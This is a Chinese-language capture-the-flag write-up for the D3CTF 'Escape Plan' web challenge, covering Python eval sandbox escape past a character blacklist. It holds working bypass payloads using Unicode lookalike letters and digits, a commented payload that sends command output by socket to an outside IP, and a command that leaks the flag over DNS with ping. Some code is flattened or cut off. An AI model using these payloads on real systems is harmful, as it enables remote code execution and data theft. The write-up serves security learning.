D3CTF-WEB
Escape Plan
import base64 from flask import Flask, request app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def challenge_3(): cmd = request.form.get("cmd", "") if not cmd: return """
import requests, base64 exp = '' requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text"""
try:
cmd = base64.b64decode(cmd).decode()
except Exception:
return "bad base64"black_char = [
"'", '"', '.', ',', ' ', '+',
'__', 'exec', 'eval', 'str', 'import',
'except', 'if', 'for', 'while', 'pass',
'with', 'assert', 'break', 'class', 'raise',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
]
for char in black_char:
if char in cmd:
return f'failed: `{char}`'msg = "success"
try:
eval(cmd)
except Exception:
msg = "error"return msg
他给了app.py的源码,我们分析分析。
- 定义了一个名为 challenge_3 的函数,可以接收get和post的请求
- 首先从请求的表单数据中获取名为 “cmd” 的值。如果没有找到 “cmd”,则返回一个代码使用 requests 库发送 POST 请求并将 “cmd” 参数编码为 base64。
- 如果找到了 “cmd”,则尝试对其进行 base64 解码。如果解码失败,返回 “bad base64″。
- 遍历 black_char 列表,检查 “cmd” 是否包含任何不允许的字符,就是黑名单。
Python 沙箱逃逸的通解探索之路 | CN-SEC 中文网
这里面最后一个给了我们一个payload,通过对比发现只用绕过eval,我们可以使用ᵉval来代替eval,我们先本地测试一下
import base64 u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫' # a = b'''__import__('os').popen('python -c "import socket, os; flag = os.popen(\"whoami\").read().encode();host = \"120.48.123.181\";port=7777;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host, port));s.sendall(flag);s.close();a=1;"').read()''' a = base64.b64encode(b"__import__('os').popen('whoami').read()").decode() a += "=" CMD = "eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))".format(a) CMD = CMD.translate({ord(str(i)): u[i] for i in range(10)}) base = CMD.replace("eval","ᵉval") cmd = base64.b64encode(base.encode()) try: cmd = base64.b64decode(cmd).decode() except Exception: print("bad base64") black_char = [ "'", '"', '.', ',', ' ', '+', '__', 'exec', 'eval', 'str', 'import', 'except', 'if', 'for', 'while', 'pass', 'with', 'assert', 'break', 'class', 'raise', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ] for char in black_char: if char in cmd: print(f'failed: `{char}`') try: print(eval(cmd)) except Exception: print("error")
这里我原本尝试了很多种方法,结果发现都是error,到最后发现是python base64模块缘故,导致解析错误,他需要补一个等号才可以,但是尝试其他的方法有不行了
然后看到这里发现又有别的方法Docs,利用数组切片进行截取
import requests import base64 shell='ping -c 1 `/readflag`.c17fafb7.dns.dnsmap.org' s='' for i in shell: s+="chr("+str(ord(i))+")+" print(s[0:-1]) payload = payload = "__import__('os').popen({})".format(s[0:-1]) payload1 = "ᵉxec(repr(request)[(len(black_char[len([])])
这里我们分析一下这个切片
- repr(request):返回一个表示 request 对象的字符串。
- 然后这个request对象是Flask自动传递的,应该就是我们通过get传输进来的值
- repr(request)[值1:值2] ,这个应该获得上面请求中那一部分可以执行的,最后传入eval中
这里我们本地看一看
他最后获得的应该就是这些,然后进行执行通过ping DNS将flag带出来
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net